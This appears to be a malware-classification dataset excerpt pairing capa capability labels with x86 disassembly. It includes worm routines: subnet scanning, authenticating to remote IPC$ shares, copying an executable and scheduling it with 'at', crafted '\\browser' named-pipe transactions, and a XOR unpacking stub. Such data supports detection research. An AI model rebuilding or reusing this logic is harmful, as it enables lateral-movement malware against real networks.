joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ce5
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
and dword [ebp - 0x214], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x214], eax
push 0x208
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0x214]
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
lea eax, [ebp - 0x210]
push eax
push 0x406ba4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
push 0x3e8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406d84
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
jmp 0x406d94
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x4076b5
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1418
call fcn.00408ea0
and dword [ebp - 0x194], 0
or dword [ebp - 0x3cc], 0xffffffff
movzx eax, byte [0x40b452]
cmp eax, 0xfffffff2
jne 0x4076e3
xor eax, eax
jmp 0x4078f3
push 0x104
push 0
lea eax, [ebp - 0x2a0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str._browser
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
push 0
lea eax, [ebp - 0x3a8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x3c4], 0
and dword [ebp - 0x3b8], 0
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x3b4], eax
and dword [ebp - 0x3ac], 0
push 0
push 0x409e68
push 0x409e68
lea eax, [ebp - 0x3c8]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40779c
xor eax, eax
jmp 0x4078f3
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0xffffffff
jne 0x4077d4
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x4078f3
push 0x48
push str.y_b_t
lea eax, [ebp - 0x1418]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x13f8]
push eax
push 0x40b4c4
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
push 0x40b4c4
lea eax, [ebp - 0x13f8]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push 3
pop eax
mov word [ebp - 0x13e8], ax
xor eax, eax
mov word [ebp - 0x13e6], ax
push 0x1000
push 0
lea eax, [ebp - 0x13d0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0x48
lea eax, [ebp - 0x1418]
push eax
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x40b388
push 0x40b1ea
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0x1e4
push 0x40b1a0
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x194]
push eax
push 0x1000
lea eax, [ebp - 0x13d0]
push eax
push 0xa4
push 0x40b0f8
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push dword [ebp - 0x3cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x3a8]
push eax
call sub.MPR.dll_WNetCancelConnection2A
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4
Function at 0x40795e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x4079b1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x4079b1
or eax, 0xffffffff
jmp 0x4079b3
xor eax, eax
leave
ret 0x18

Function at 0x4079b7
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and dword [ebp - 8], 0
push 0x20
push 0
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
cmp dword [ebp + 8], 0
sete al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407a10
xor eax, eax
jmp 0x407a13
mov eax, dword [ebp - 8]
leave
ret 0x14
Function at 0x407d0b
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x407d46
jmp 0x407ee7
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x407d5f
jmp 0x407ee7
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push str.Mpr.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x407ebe
and dword [ebp - 0x44], 0
jmp 0x407dd6
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x407ebc
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x407e96
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push str._sdesktop.txt
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x407e96
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409a34
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.00406156
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x407eb7
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.00407d0b
jmp 0x407dcf
jmp 0x407ec9
cmp dword [ebp - 0x40], 0x103
je 0x407ec9
jmp 0x407ed6
cmp dword [ebp - 0x40], 0x103
jne 0x407d9b
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4
Function at 0x408004
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
mov dword [ebp - 0x194], 1
and dword [ebp - 0x1dc], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x40
push 0
lea eax, [ebp - 0x1d8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x1d8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x40807f
and dword [ebp - 0x194], 0
jmp 0x408207
push 4
push 0
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
and dword [ebp - 0x1e0], 0
jmp 0x4080a4
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
cmp dword [eax + ecx*4], 0
je 0x4081f8
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
mov eax, dword [eax + ecx*4]
movzx eax, byte [eax + 1]
mov dword [ebp - 0x1e4], eax
cmp dword [ebp + 0xc], 1
jne 0x408175
cmp dword [ebp - 0x1e8], 0xc0
jne 0x408112
cmp dword [ebp - 0x1e4], 0xa8
je 0x408151
cmp dword [ebp - 0x1e8], 0xa9
jne 0x40812a
cmp dword [ebp - 0x1e4], 0xfe
je 0x408151
cmp dword [ebp - 0x1e8], 0xac
jne 0x40813f
cmp dword [ebp - 0x1e4], 0x10
je 0x408151
cmp dword [ebp - 0x1e8], 0xa
je 0x408151
cmp dword [ebp - 0x1e8], 0x7f
jne 0x408175
push 4
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x4081f8
cmp dword [ebp + 0xc], 2
jne 0x4081f3
cmp dword [ebp - 0x1e8], 0xc0
je 0x4081f3
cmp dword [ebp - 0x1e4], 0xa8
je 0x4081f3
cmp dword [ebp - 0x1e8], 0xa9
je 0x4081f3
cmp dword [ebp - 0x1e4], 0xfe
je 0x4081f3
cmp dword [ebp - 0x1e8], 0xac
je 0x4081f3
cmp dword [ebp - 0x1e4], 0x10
je 0x4081f3
cmp dword [ebp - 0x1e8], 0xa
je 0x4081f3
cmp dword [ebp - 0x1e8], 0x7f
je 0x4081f3
push 4
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1e0]
push dword [eax + ecx*4]
push dword [ebp + 8]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x4081f8
jmp 0x408097
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x408207
and dword [ebp - 0x194], 0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
leave
ret 8
Function at 0x408217
Capabilities:
Connect network resource
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x590
and dword [ebp - 0x28], 0
or dword [ebp - 0x2c], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x24], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sipc_
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
and dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
and dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x409e68
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40829d
mov eax, dword [ebp - 0x28]
jmp 0x4083b0
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CONFIG
push 0x409e9c
push dword [ebp + 8]
push str._s_s_s.exe
lea eax, [ebp - 0x178]
push eax
call dword [ebp - 0x24]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x4083a0
and dword [ebp - 0x17c], 0
push 0
lea eax, [ebp - 0x17c]
push eax
push dword [0x40dc80]
push dword [0x40dc74]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x17c]
cmp eax, dword [0x40dc80]
jne 0x408397
lea eax, [ebp - 0x590]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x580]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CONFIG
movzx eax, word [ebp - 0x586]
add eax, 3
push eax
movzx eax, word [ebp - 0x588]
push eax
push dword [ebp + 8]
push str.at__s__d:_d_C:_s.exe
lea eax, [ebp - 0x580]
push eax
call dword [ebp - 0x24]
add esp, 0x18
push 0
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x28], 1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x28]
leave
ret 0xc
Function at 0x4084bb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 8], 0
push 4
push 0
lea eax, [ebp - 4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.00408004
movzx eax, byte [ebp - 1]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 2
jmp 0x4084f8
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xff
jge 0x4085d8
push 0x40
push 0
lea eax, [ebp - 0x50]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 0xc]
movzx eax, byte [ebp - 2]
push eax
movzx eax, byte [ebp - 3]
push eax
movzx eax, byte [ebp - 4]
push eax
push str._d._d._d._d
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
jne 0x408543
jmp 0x4084f1
push 0xbb8
lea eax, [ebp - 0x50]
push eax
call fcn.00407a17
test eax, eax
jne 0x408557
jmp 0x4084f1
push 1
lea eax, [ebp - 0x50]
push eax
call fcn.00407eeb
cmp eax, 1
jne 0x408569
jmp 0x4084f1
cmp dword [ebp + 8], 2
jne 0x408588
lea eax, [ebp - 0x50]
push eax
call fcn.004076b5
cmp eax, 1
jne 0x408588
push 2
lea eax, [ebp - 0x50]
push eax
call fcn.00407eeb
cmp dword [ebp + 8], 1
jne 0x4085d3
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], eax
push 0
push 0
lea eax, [ebp - 0x58]
push eax
push 0x4083b4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4084f1
leave
ret 4
Function at 0x408b3e
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x34], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x50], 0
and dword [ebp - 0x3c], 0
and dword [ebp - 4], 0
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x38], sub.KERNEL32.dll_CreateToolhelp32Snapshot
and dword [ebp - 8], 0
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x4c], eax
push str.Thread32First
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push 0xc
push 0
lea eax, [ebp - 0x48]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xc
lea eax, [ebp - 0x48]
push eax
push dword [0x40dc38]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call sub.PSAPI.DLL_GetModuleInformation
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x3c], eax
cmp dword [0x40dc6c], 0
je 0x408beb
push dword [0x40dc6c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
push dword [0x40dc70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x10], eax
push 0
push 4
call dword [ebp - 0x38]
mov dword [ebp - 4], eax
push 0x1c
push 0
lea eax, [ebp - 0x30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x30], 0x1c
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call dword [ebp - 8]
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x14]
jne 0x408c90
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x10]
je 0x408c90
and dword [ebp - 0x54], 0
push dword [ebp - 0x28]
push 1
push 0x41
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x408c54
jmp 0x408c90
and dword [ebp - 0x34], 0
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x34]
push eax
push 9
push dword [ebp - 0x54]
call dword [sym.imp.ntdll.dll_ZwQueryInformationThread]
cmp dword [ebp - 0x34], 0
jne 0x408c75
jmp 0x408c90
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x50]
jb 0x408c90
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x3c]
ja 0x408c90
push 0
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x408c28
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d7a
nop
nop
sub eax, 0x403d20
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp int.00401219
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
imul edi
dec esi
not esi
rcl eax, 0xea
sbb edi, 0x30
rcr eax, 0x85
sbb esi, 0xbc
sub esi, 0x87
sub edx, 0xf9
ror esi, 0x55
rcr edx, 0x89
not edi
not edx
neg edi
dec edx
ror eax, 0xdc
dec edx
neg esi
rcl eax, 0x83
imul esi
or edx, 0x1e
bswap esi
neg esi
sub edx, 0xd7
not esi
not edx
bswap edx
imul eax
rcl edx, 0x95
rcl eax, 0xdf
mov edx, 0xc2
neg edi
rcl edx, 0xe
bswap eax
ror esi, 0x47
imul edx
inc edi
sbb edi, 0x9b
rcr edi, 0x16
bswap esi
dec edx
inc esi
mov edi, 0x2e
neg ebx
not esi
add edi, 0x58
mov eax, 0x50
not esi
bswap ebx
neg edx
xor ecx, ecx
xor edi, edi
inc edi
or edx, 0x18
not esi
dec edi
dec ebx
imul esi
not edx
rcl ebx, 0x30
sub esi, 0xb5
rol ebx, 0xcb
dec edi
imul eax
rcr edi, 0x8d
sub edi, 8
neg ebx
neg esi
not edx
inc eax
mov eax, 0xc8
not edi
rcr esi, 0x2b
neg edx
dec ebx
sub edi, 0x71
bswap edx
or ebx, 0x5a
imul esi
neg eax
rol edi, 0xcc
bswap ebx
sbb edx, 0xb
add ebx, 0x39
bswap esi
rol edi, 0x41
imul edx
inc eax
rol eax, 0xfc
inc edx
imul ebx
or edi, 0x34
ror edx, 0x43
rcr ebx, 0x9a
inc esi
mov ebx, 0xec
ror eax, 0x9a
inc esi
dec ebx
inc eax
bswap esi
rcl edx, 0x94
mov ecx, dword [ebp + 0xc]
or edi, 0xb6
sub edi, 0xbe
rol ebx, 0xf
add esi, 0x21
inc edi
or edx, 0x9d
neg esi
sbb edi, 0x85
dec esi
sbb edi, 0xb5
mov eax, 0xb4
rcl edx, 0x8c
and edx, 0x54
not esi
neg esi
neg edx
not ebx
not edx
dec eax
bswap edi
not edx
ror eax, 0xb7
sub edx, 0xb7
rol edx, 5
not esi
imul esi
neg edi
sub esi, 0x35
not edi
inc edx
sub edi, 0xdf
not edx
imul eax
imul edi
imul edi
rcr ebx, 0xd0
dec esi
rol esi, 0x68
rol edi, 0xb3
rol edx, 0xec
not eax
mov edx, 0xff
imul esi
inc ebx
inc eax
and ebx, 0x38
dec edx
imul edi
bswap edi
rcr ebx, 0xf1
mov edi, dword [ebp + 8]
xor ebx, ebx
xor ebx, esi
xor eax, ebx
xor esi, eax
mov ebx, eax
xor esi, eax
mov eax, eax
mov esi, ebx
xor esi, ebx
mov ebx, eax
xor ebx, ebx
xor eax, esi
not byte [edi]
xor ebx, ebx
xor eax, esi
xor eax, esi
mov ebx, eax
xor eax, ebx
xor ebx, eax
mov eax, ebx
mov ebx, ebx
mov esi, ebx
add byte [edi], 0x97
xor eax, esi
mov esi, eax
xor esi, ebx
xor ebx, ebx
xor ebx, esi
xor esi, ebx
xor ebx, eax
xor esi, eax
mov esi, esi
sub byte [edi], 0x56
mov ebx, esi
mov esi, esi
xor eax, eax
mov ebx, ebx
xor esi, esi
xor ebx, ebx
mov esi, eax
mov eax, eax
xor ebx, ebx
imul byte [edi]
inc edi
loop 0x40119e
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403857
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x451a84]
jne 0x403861
repz ret
jmp fcn.0040696c
Function at 0x407543
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004038d8
and dword [ebp - 4], 0
cmp dword [0x453398], 0
mov ebx, eax
jne 0x4075f4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4076a5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4076a5
push eax
call fcn.00403866
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x453398], eax
call esi
push eax
call fcn.00403866
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45339c], eax
call esi
push eax
call fcn.00403866
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4533a0], eax
call esi
push eax
call fcn.00403866
pop ecx
mov dword [0x4533a8], eax
test eax, eax
je 0x4075f4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403866
pop ecx
mov dword [0x4533a4], eax
mov eax, dword [0x4533a4]
cmp eax, ebx
je 0x40764c
cmp dword [0x4533a8], ebx
je 0x40764c
push eax
call fcn.004038e1
push dword [0x4533a8]
mov esi, eax
call fcn.004038e1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40764c
test edi, edi
je 0x40764c
call esi
test eax, eax
je 0x407643
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407643
test byte [ebp - 0xc], 1
jne 0x40764c
or dword [ebp + 0x10], 0x200000
jmp 0x407685
mov eax, dword [0x45339c]
cmp eax, ebx
je 0x407685
push eax
call fcn.004038e1
pop ecx
test eax, eax
je 0x407685
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407685
mov eax, dword [0x4533a0]
cmp eax, ebx
je 0x407685
push eax
call fcn.004038e1
pop ecx
test eax, eax
je 0x407685
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x453398]
call fcn.004038e1
pop ecx
test eax, eax
je 0x4076a5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4076a7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41a3d0
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x10054
call fcn.0043f2d0
mov eax, dword [0x44f004]
xor eax, esp
mov dword [esp + 0x10050], eax
xor eax, eax
push ecx
lea ecx, [esp + 4]
mov word [esp + 0x54], ax
mov word [esp + 4], ax
call fcn.0041a6e0
add esp, 4
lea eax, [esp + 0x50]
push 0x10000
push eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x41a443
cmp eax, 0x10000
ja 0x41a443
lea eax, [esp + 0x50]
push eax
call fcn.004333e7
add esp, 4
mov ecx, dword [esp + 0x10050]
xor ecx, esp
call fcn.0042542d
add esp, 0x10054
ret
mov ecx, dword [esp + 0x10050]
xor eax, eax
xor ecx, esp
call fcn.0042542d
add esp, 0x10054
ret

Function at 0x41a460
Capabilities:
Set environment variable

Disassembly:
sub esp, 0x54
mov eax, dword [0x44f004]
xor eax, esp
mov dword [esp + 0x50], eax
xor eax, eax
push ecx
lea ecx, [esp + 4]
mov word [esp + 4], ax
call fcn.0041a6e0
add esp, 4
lea eax, [esp]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ecx, dword [esp + 0x50]
xor ecx, esp
call fcn.0042542d
add esp, 0x54
ret